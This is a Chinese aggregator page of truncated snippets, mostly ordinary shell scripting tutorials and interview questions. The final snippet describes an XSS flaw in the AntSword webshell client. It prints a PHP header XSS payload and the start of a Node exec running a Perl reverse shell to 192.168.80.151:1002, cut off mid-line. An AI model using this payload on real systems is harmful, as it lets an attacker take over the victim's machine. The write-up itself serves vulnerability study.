shell函数

24 道 shell 脚本面试题

穿精又带淫゛_ 提交于 2019-11-26 17:53:59
想要成为中高级phper, shell 脚本是需要掌握的,它有助于你在工作环境中自动完成很多任务。 如下是一些面试过程中,经常会遇到的 shell 脚本面试问题及解答: Q:1 Shell脚本是什么、它是必需的吗? 答:一个Shell脚本是一个文本文件,包含一个或多个命令。作为系统管理员,我们经常需要使用多个命令来完成一项任务,我们可以添加这些所有命令在一个文本文件(Shell脚本)来完成这些日常工作任务。 Q:2 什么是默认登录shell,如何改变指定用户的登录shell 答:在Linux操作系统,“/bin/bash”是默认登录shell,是在创建用户时分配的。使用chsh命令可以改变默认的shell。示例如下所示: # chsh <用户名> -s <新shell> # chsh linuxtechi -s /bin/sh Q:3 可以在shell脚本中使用哪些类型的变量? 答:在shell脚本,我们可以使用两种类型的变量: 系统定义变量 用户定义变量 系统变量是由系统系统自己创建的。这些变量通常由大写字母组成,可以通过“set”命令查看。 用户变量由系统用户来生成和定义,变量的值可以通过命令“echo $<变量名>”查看。 Q:4 如何将标准输出和错误输出同时重定向到同一位置? 答:这里有两个方法来实现: 方法一: 2>&1 (如# ls /usr/share/doc >

SHELL脚本--数学运算和bc命令

亡梦爱人 提交于 2019-11-26 14:11:15
bash&shell系列文章: http://www.cnblogs.com/f-ck-need-u/p/7048359.html 使用let、(())、$(())或$[]进行基本的整数运算,使用bc进行高级的运算,包括小数运算。其中expr命令也能进行整数运算,还能判断参数是否为整数,具体用法见 expr命令全解 。 其中let和(())几乎完全等价,除了做数学运算,还支持数学表达式判断,例如数值变量a是否等于3:let a==3或((a==3)),但一般不会使用它们来判断,而是使用test命令结合条件表达式:test "$a" -eq 3。因此,本文只介绍let的赋值运算功能。 1.6.1 基本整数运算 [root@xuexi tmp]# str=10 [root@xuexi tmp]# let str=str+6 # 等价于let str+=6 [root@xuexi tmp]# let str-=5 # 等价于let str=str-5 [root@xuexi tmp]# echo $str 11 let也可以使用(( ))进行替换,它们几乎完全等价。且额外的功能是:如果最后一个算术表达式结果为0,则返回状态码1,其余时候返回状态码0。 如果想在命令行中做计算,则可以使用$(())或$[]。 [root@xuexi ~]# str=10 [root@xuexi ~]#

linux shell学习计划

天涯浪子 提交于 2019-11-26 14:10:57
因为工作需要,所以打算把linux shell系统学一下子,毕竟shell比较实用,且门槛似乎比其他编程语言要简单一点。 大概定的路线就是如下: (1)linux shell 背景以及shell运行执行的机制 (2)基础语法A(变量,表达式,参数传递等) (3)基础语法B(循环判断之类的控制结构,函数等) (4)正则表达式3大法宝 (5)正则表达式进阶 (6)linux shell脚本实战(譬如一些监控系统资源的脚本,批量配置下发,批量配置检查脚本,压力测试执行脚本等等~) 来源: https://blog.51cto.com/12374206/2427858

shell script中创建函数

落爺英雄遲暮 提交于 2019-11-26 14:03:40
1.基本的脚本函数 1.1创建函数 创建函数有2中格式: function name { command } name(){ command } #name后的圆括号为空 1.2使用函数 直接引用函数名,函数定义必须在引用之前。函数名必须唯一,否则函数会被新的创建的同名函数覆盖掉,而不会报错。 1.3函数返回值 bash shell会把函数当做小型脚本,运行结束时会返回一个退出状态码。有3中不同的方法生成退出状态码。 1)默认退出状态码 默认退出状态码是函数中最后一条命令返回的退出状态码。可以用$?来查看。 2)使用return命令 bash shell使用return命令来退出函数并返回特定的退出状态码。 但注意:函数一结束就取返回值;退出状态码必须在0~255之间。 3)使用函数输出 可以将函数输出保存到shell变量中,result=`functionname` #!/bin/bash #using the echo to return a value function db1 { read -p "Enter a value: " value #注意技巧 echo $[ $value * 2 ] } rusult=`db1` echo "The new value is $result" 函数用echo语句显示计算结果。技巧:db1函数输出了2条信息

Shell脚本实战案例

孤街浪徒 提交于 2019-11-26 04:32:36
一.企业Shell面试题1:批量生成随机字符文件名案例 使用for循环在/oldboy目录下批量创建10个html文件,其中每个文件需要包含10个随机小写字母加固定字符串oldboy,名称示例如下: 解答: 【文本如下】 [ -d /oldboy ] || mkdir /oldboy cd /oldboy echo $(pwd) && \ for i in {1..10} do filename=$(uuidgen|tr '0-9' 'a-z'|cut -c 1-10 ) touch ${filename}_oldboy.html done 二.企业Shell面试题2:批量改名特殊案例 将以上面试题19.1.1中结果文件名中的oldboy字符串全部改成oldgirl(最好用for循环实现),并且将扩展名html全部改成大写。 解答: 【文本如下】 dir=/oldboy cd $dir && \ for i in $(ls *html) do rn=$(echo $i|cut -c -10) mv $i ${rn}_oldgir.HTML done 三.企业Shell面试题3:批量创建特殊要求用户案例 批量创建10个系统帐号oldboy01-oldboy10并设置密码(密码为随机数,要求字符和数字等混合)。 解答: 【文本如下】 [ -d /oldboy ] || mkdir

蚁剑xss漏洞,获取者shell

偶尔善良 提交于 2019-11-26 03:38:42
今日在github上看到蚁剑暴露了一个xss漏洞,自己也经常使用蚁剑。同时在freebuf上也有一篇文章,关于蚁剑漏洞的。闲着没事测试了一波。 一、漏洞成因 蚁剑shell远程连接失败时,蚁剑会返回错误信息,但因为使用的是html解析,导致xss漏洞。 用过蚁剑的童靴都清楚,当我们远程连接写好的webshell的时候,有时候可能因为shell书写错误或者链接填写不当的时候,会出现大堆的错误代码。 该信息并没有进行 XSS 保护,因此能够利用 js 调用 perl 便可反弹***者的shell 很多时候我们不去注意,但这里恰恰就是漏洞利用点。(漏洞往往就在你的眼皮地下,你只要向下看看就能找到。可惜我们只向前看,不向下看。) 二、漏洞验证 鉴于本人对js没有深入了解,只懂得些皮毛。这里就直接引用别人写好的shell了 (1)验证xss漏洞的存在 <?php header('HTTP/1.1 500 <img src=# onerror=alert(1)>');?> Head()函数,向客户端发送原始的 HTTP 报头。 当蚁剑远程连接shell的时候就会触发弹框。 (2)反弹***者shell require('child_process').exec('perl -e \'use Socket;$i="192.168.80.151";$p=1002;socket(S,PF_INET